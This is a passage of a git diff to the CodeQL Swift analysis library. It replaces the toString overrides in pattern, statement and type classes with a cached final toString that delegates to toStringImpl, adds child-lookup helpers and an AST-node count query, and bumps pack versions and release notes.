-      then result = "." + this.getElement().toString() + "(...)"
-      else result = "." + this.getElement().toString()
+      then result = "." + this.getElement().toStringImpl() + "(...)"
+      else result = "." + this.getElement().toStringImpl()
     }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/ExprPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/ExprPatternImpl.qll
index e313a5ce10da..d7d384a4efe4 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/ExprPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/ExprPatternImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.pattern.ExprPattern
 
 module Impl {
   class ExprPattern extends Generated::ExprPattern {
-    override string toString() { result = "=~ ..." }
+    override string toStringImpl() { result = "=~ ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/IsPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/IsPatternImpl.qll
index 9fb6e84cc238..1d2c9843d8c3 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/IsPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/IsPatternImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.pattern.IsPattern
 
 module Impl {
   class IsPattern extends Generated::IsPattern {
-    override string toString() { result = "... is ..." }
+    override string toStringImpl() { result = "... is ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/NamedPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/NamedPatternImpl.qll
index fc6ebb52e7a6..d4453cb42ff4 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/NamedPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/NamedPatternImpl.qll
@@ -21,6 +21,6 @@ module Impl {
      */
     string getName() { result = this.getVarDecl().getName() }
 
-    override string toString() { result = this.getName() }
+    override string toStringImpl() { result = this.getName() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/OptionalSomePatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/OptionalSomePatternImpl.qll
index 1c8aee702b00..4055108b1b0b 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/OptionalSomePatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/OptionalSomePatternImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.pattern.OptionalSomePattern
 
 module Impl {
   class OptionalSomePattern extends Generated::OptionalSomePattern {
-    override string toString() { result = "let ...?" }
+    override string toStringImpl() { result = "let ...?" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/ParenPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/ParenPatternImpl.qll
index fd5c9ab54431..dc1b14b4128e 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/ParenPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/ParenPatternImpl.qll
@@ -4,6 +4,6 @@ module Impl {
   class ParenPattern extends Generated::ParenPattern {
     final override Pattern getResolveStep() { result = this.getImmediateSubPattern() }
 
-    override string toString() { result = "(...)" }
+    override string toStringImpl() { result = "(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/TuplePatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/TuplePatternImpl.qll
index 6ed969e4a106..701ab8b50f87 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/TuplePatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/TuplePatternImpl.qll
@@ -11,6 +11,6 @@ module Impl {
       )
     }
 
-    override string toString() { result = "(...)" }
+    override string toStringImpl() { result = "(...)" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/pattern/internal/TypedPatternImpl.qll b/swift/ql/lib/codeql/swift/elements/pattern/internal/TypedPatternImpl.qll
index 49b905f8d643..0a86ac85df22 100644
--- a/swift/ql/lib/codeql/swift/elements/pattern/internal/TypedPatternImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/pattern/internal/TypedPatternImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.pattern.TypedPattern
 
 module Impl {
   class TypedPattern extends Generated::TypedPattern {
-    override string toString() {
+    override string toStringImpl() {
       if exists(this.getSubPattern()) then result = "... as ..." else result = "is ..."
     }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/BraceStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/BraceStmtImpl.qll
index 6f4cdbd37742..a562955646fe 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/BraceStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/BraceStmtImpl.qll
@@ -11,7 +11,7 @@ module Impl {
       )
     }
 
-    override string toString() { result = "{ ... }" }
+    override string toStringImpl() { result = "{ ... }" }
 
     override AstNode getImmediateElement(int index) {
       result =
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/BreakStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/BreakStmtImpl.qll
index 6f1b58aecd4e..8a8243b5998b 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/BreakStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/BreakStmtImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.stmt.BreakStmt
 
 module Impl {
   class BreakStmt extends Generated::BreakStmt {
-    override string toString() {
+    override string toStringImpl() {
       result = "break " + this.getTargetName()
       or
       not this.hasTargetName() and
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseLabelItemImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseLabelItemImpl.qll
index 003d2b342b16..4e0870f556ee 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseLabelItemImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseLabelItemImpl.qll
@@ -2,10 +2,10 @@ private import codeql.swift.generated.stmt.CaseLabelItem
 
 module Impl {
   class CaseLabelItem extends Generated::CaseLabelItem {
-    override string toString() {
+    override string toStringImpl() {
       if this.hasGuard()
-      then result = this.getPattern().toString() + " where ..."
-      else result = this.getPattern().toString()
+      then result = this.getPattern().toStringImpl() + " where ..."
+      else result = this.getPattern().toStringImpl()
     }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseStmtImpl.qll
index 17b9b6462144..d3e620ae9e1d 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/CaseStmtImpl.qll
@@ -11,6 +11,6 @@ module Impl {
       )
     }
 
-    override string toString() { result = "case ..." }
+    override string toStringImpl() { result = "case ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/ConditionElementImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/ConditionElementImpl.qll
index 72740933998d..a2b52efddd21 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/ConditionElementImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/ConditionElementImpl.qll
@@ -3,12 +3,12 @@ private import codeql.swift.elements.AstNode
 
 module Impl {
   class ConditionElement extends Generated::ConditionElement {
-    override string toString() {
-      result = this.getBoolean().toString()
+    override string toStringImpl() {
+      result = this.getBoolean().toStringImpl()
       or
-      result = this.getPattern().toString() + " = ... "
+      result = this.getPattern().toStringImpl() + " = ... "
       or
-      result = this.getAvailability().toString()
+      result = this.getAvailability().toStringImpl()
     }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/ContinueStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/ContinueStmtImpl.qll
index 58747a44e420..8389184c465d 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/ContinueStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/ContinueStmtImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.stmt.ContinueStmt
 
 module Impl {
   class ContinueStmt extends Generated::ContinueStmt {
-    override string toString() {
+    override string toStringImpl() {
       result = "continue " + this.getTargetName()
       or
       not this.hasTargetName() and
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/DeferStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/DeferStmtImpl.qll
index 97e565d4160f..18d70b0dc948 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/DeferStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/DeferStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.DeferStmt
 
 module Impl {
   class DeferStmt extends Generated::DeferStmt {
-    override string toString() { result = "defer { ... }" }
+    override string toStringImpl() { result = "defer { ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/DoCatchStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/DoCatchStmtImpl.qll
index 20fb2b8ddbc3..5a84808057f4 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/DoCatchStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/DoCatchStmtImpl.qll
@@ -11,6 +11,6 @@ module Impl {
       )
     }
 
-    override string toString() { result = "do { ... } catch { ... }" }
+    override string toStringImpl() { result = "do { ... } catch { ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/DoStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/DoStmtImpl.qll
index 0e43521181fa..fd3952f97a42 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/DoStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/DoStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.DoStmt
 
 module Impl {
   class DoStmt extends Generated::DoStmt {
-    override string toString() { result = "do { ... }" }
+    override string toStringImpl() { result = "do { ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/FailStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/FailStmtImpl.qll
index 9ab2240102eb..dbad37f4f954 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/FailStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/FailStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.FailStmt
 
 module Impl {
   class FailStmt extends Generated::FailStmt {
-    override string toString() { result = "fail" }
+    override string toStringImpl() { result = "fail" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/FallthroughStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/FallthroughStmtImpl.qll
index 85fa9e95a655..47d858f46ba1 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/FallthroughStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/FallthroughStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.FallthroughStmt
 
 module Impl {
   class FallthroughStmt extends Generated::FallthroughStmt {
-    override string toString() { result = "fallthrough" }
+    override string toStringImpl() { result = "fallthrough" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/ForEachStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/ForEachStmtImpl.qll
index bc8d67d01335..e5b112215455 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/ForEachStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/ForEachStmtImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.stmt.ForEachStmt
 
 module Impl {
   class ForEachStmt extends Generated::ForEachStmt {
-    override string toString() {
+    override string toStringImpl() {
       if this.hasWhere()
       then result = "for ... in ... where ... { ... }"
       else result = "for ... in ... { ... }"
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/GuardStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/GuardStmtImpl.qll
index d2281c8ef592..4dab3b78acf7 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/GuardStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/GuardStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.GuardStmt
 
 module Impl {
   class GuardStmt extends Generated::GuardStmt {
-    override string toString() { result = "guard ... else { ... }" }
+    override string toStringImpl() { result = "guard ... else { ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/IfStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/IfStmtImpl.qll
index 8d1349631982..47c1611548a0 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/IfStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/IfStmtImpl.qll
@@ -15,7 +15,7 @@ module Impl {
       result = this.getElse()
     }
 
-    override string toString() {
+    override string toStringImpl() {
       if this.hasElse()
       then result = "if ... then { ... } else { ... }"
       else result = "if ... then { ... }"
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/LabeledStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/LabeledStmtImpl.qll
index 677e21f3e5ba..b4f39e059afe 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/LabeledStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/LabeledStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.LabeledStmt
 
 module Impl {
   class LabeledStmt extends Generated::LabeledStmt {
-    override string toString() { result = this.getLabel() + ": ..." }
+    override string toStringImpl() { result = this.getLabel() + ": ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/PoundAssertStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/PoundAssertStmtImpl.qll
index e7d208998d4b..88f8c921e9aa 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/PoundAssertStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/PoundAssertStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.PoundAssertStmt
 
 module Impl {
   class PoundAssertStmt extends Generated::PoundAssertStmt {
-    override string toString() { result = "#assert ..." }
+    override string toStringImpl() { result = "#assert ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/RepeatWhileStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/RepeatWhileStmtImpl.qll
index 867aee0d5de0..1542f7548e36 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/RepeatWhileStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/RepeatWhileStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.RepeatWhileStmt
 
 module Impl {
   class RepeatWhileStmt extends Generated::RepeatWhileStmt {
-    override string toString() { result = "repeat { ... } while ... " }
+    override string toStringImpl() { result = "repeat { ... } while ... " }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/ReturnStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/ReturnStmtImpl.qll
index d53eb3d0eee0..f93429dafd8c 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/ReturnStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/ReturnStmtImpl.qll
@@ -2,7 +2,7 @@ private import codeql.swift.generated.stmt.ReturnStmt
 
 module Impl {
   class ReturnStmt extends Generated::ReturnStmt {
-    override string toString() {
+    override string toStringImpl() {
       if this.hasResult() then result = "return ..." else result = "return"
     }
   }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/SwitchStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/SwitchStmtImpl.qll
index 850f857bdccb..32c12ec4a0df 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/SwitchStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/SwitchStmtImpl.qll
@@ -11,6 +11,8 @@ module Impl {
       )
     }
 
-    override string toString() { result = "switch " + this.getExpr().toString() + " { ... }" }
+    override string toStringImpl() {
+      result = "switch " + this.getExpr().toStringImpl() + " { ... }"
+    }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/ThrowStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/ThrowStmtImpl.qll
index 2865061216d6..e15c8eaf5f3a 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/ThrowStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/ThrowStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.ThrowStmt
 
 module Impl {
   class ThrowStmt extends Generated::ThrowStmt {
-    override string toString() { result = "throw ..." }
+    override string toStringImpl() { result = "throw ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/WhileStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/WhileStmtImpl.qll
index 9359c6ccd20a..7698a127bee5 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/WhileStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/WhileStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.WhileStmt
 
 module Impl {
   class WhileStmt extends Generated::WhileStmt {
-    override string toString() { result = "while ... { ... }" }
+    override string toStringImpl() { result = "while ... { ... }" }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/stmt/internal/YieldStmtImpl.qll b/swift/ql/lib/codeql/swift/elements/stmt/internal/YieldStmtImpl.qll
index aeb1623d9bb7..942a3dfde1d9 100644
--- a/swift/ql/lib/codeql/swift/elements/stmt/internal/YieldStmtImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/stmt/internal/YieldStmtImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.stmt.YieldStmt
 
 module Impl {
   class YieldStmt extends Generated::YieldStmt {
-    override string toString() { result = "yield ..." }
+    override string toStringImpl() { result = "yield ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/type/internal/TypeImpl.qll b/swift/ql/lib/codeql/swift/elements/type/internal/TypeImpl.qll
index 625d5b5312df..b3467492257e 100644
--- a/swift/ql/lib/codeql/swift/elements/type/internal/TypeImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/type/internal/TypeImpl.qll
@@ -8,7 +8,7 @@ module Impl {
    * This QL class is the root of the Swift type hierarchy.
    */
   class Type extends Generated::Type {
-    override string toString() { result = this.getFullName() }
+    override string toStringImpl() { result = this.getFullName() }
 
     /**
      * Gets the name of this type.
diff --git a/swift/ql/lib/codeql/swift/elements/type/internal/TypeReprImpl.qll b/swift/ql/lib/codeql/swift/elements/type/internal/TypeReprImpl.qll
index 98b4b0f05283..1da1ed2d2a72 100644
--- a/swift/ql/lib/codeql/swift/elements/type/internal/TypeReprImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/type/internal/TypeReprImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.type.TypeRepr
 
 module Impl {
   class TypeRepr extends Generated::TypeRepr {
-    override string toString() { result = this.getType().toString() }
+    override string toStringImpl() { result = this.getType().toStringImpl() }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/generated/Element.qll b/swift/ql/lib/codeql/swift/generated/Element.qll
index 94315ea3e554..cfb8fbc32085 100644
--- a/swift/ql/lib/codeql/swift/generated/Element.qll
+++ b/swift/ql/lib/codeql/swift/generated/Element.qll
@@ -23,7 +23,15 @@ module Generated {
     /**
      * Gets the string representation of this element.
      */
-    string toString() { none() } // overridden by subclasses
+    cached
+    final string toString() { result = this.toStringImpl() }
+
+    /**
+     * INTERNAL: Do not use.
+     *
+     * Gets the string representation of this element.
+     */
+    abstract string toStringImpl();
 
     /**
      * Gets the name of a primary CodeQL class to which this element belongs.
diff --git a/swift/ql/lib/codeql/swift/generated/ParentChild.qll b/swift/ql/lib/codeql/swift/generated/ParentChild.qll
index 8f2d6fb53572..13e75c262398 100644
--- a/swift/ql/lib/codeql/swift/generated/ParentChild.qll
+++ b/swift/ql/lib/codeql/swift/generated/ParentChild.qll
@@ -5630,6 +5630,11 @@ Element getImmediateParent(Element e) {
   result = unique(Element x | e = Impl::getImmediateChild(x, _, _) | x)
 }
 
+/**
+ * Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct.
+ */
+Element getImmediateChild(Element e, int index) { result = Impl::getImmediateChild(e, index, _) }
+
 /**
  * Gets the immediate child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
  */
@@ -5649,3 +5654,8 @@ Element getChildAndAccessor(Element e, int index, string accessor) {
     accessor = "get" + partialAccessor
   )
 }
+
+/**
+ * Gets the child indexed at `index`. Indexes are not guaranteed to be contiguous, but are guaranteed to be distinct. `accessor` is bound the member predicate call resulting in the given child.
+ */
+Element getChild(Element e, int index) { result = Impl::getImmediateChild(e, index, _).resolve() }
diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml
index a8287a481216..64b6a20fccc1 100644
--- a/swift/ql/lib/qlpack.yml
+++ b/swift/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/swift-all
-version: 4.1.2
+version: 4.1.3
 groups: swift
 extractor: swift
 dbscheme: swift.dbscheme
diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md
index f81969a619e8..ee24a514d14f 100644
--- a/swift/ql/src/CHANGELOG.md
+++ b/swift/ql/src/CHANGELOG.md
@@ -1,3 +1,9 @@
+## 1.1.0
+
+### New Queries
+
+* Added a new summary query counting the total number of extracted AST nodes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/swift/ql/src/change-notes/released/1.1.0.md b/swift/ql/src/change-notes/released/1.1.0.md
new file mode 100644
index 000000000000..c9cba1415cd2
--- /dev/null
+++ b/swift/ql/src/change-notes/released/1.1.0.md
@@ -0,0 +1,5 @@
+## 1.1.0
+
+### New Queries
+
+* Added a new summary query counting the total number of extracted AST nodes.
diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml
index e15e0d267b0a..2ac15439f561 100644
--- a/swift/ql/src/codeql-pack.release.yml
+++ b/swift/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.1.0
diff --git a/swift/ql/src/codeql-suites/swift-ccr.qls b/swift/ql/src/codeql-suites/swift-ccr.qls
deleted file mode 100644
index 0637a088a01e..000000000000
--- a/swift/ql/src/codeql-suites/swift-ccr.qls
+++ /dev/null
@@ -1 +0,0 @@
-[]
\ No newline at end of file
diff --git a/rust/ql/src/codeql-suites/rust-ccr.qls b/swift/ql/src/codeql-suites/swift-code-quality.qls
similarity index 100%
rename from rust/ql/src/codeql-suites/rust-ccr.qls
rename to swift/ql/src/codeql-suites/swift-code-quality.qls
diff --git a/swift/ql/src/diagnostics/internal/AstNodes.ql b/swift/ql/src/diagnostics/internal/AstNodes.ql
new file mode 100644
index 000000000000..e534346a0790
--- /dev/null
+++ b/swift/ql/src/diagnostics/internal/AstNodes.ql
@@ -0,0 +1,11 @@
+/**
+ * @name Number of extracted AST nodes
+ * @description Count all AST nodes.
+ * @kind metric
+ * @id swift/diagnostics/ast-nodes
+ * @tags summary
+ */
+
+import swift
+
+select count(AstNode n)
diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml
index d7b811261ac2..7c8c06066945 100644
--- a/swift/ql/src/qlpack.yml
+++ b/swift/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/swift-queries
-version: 1.0.19
+version: 1.1.0
 groups:
   - swift
   - queries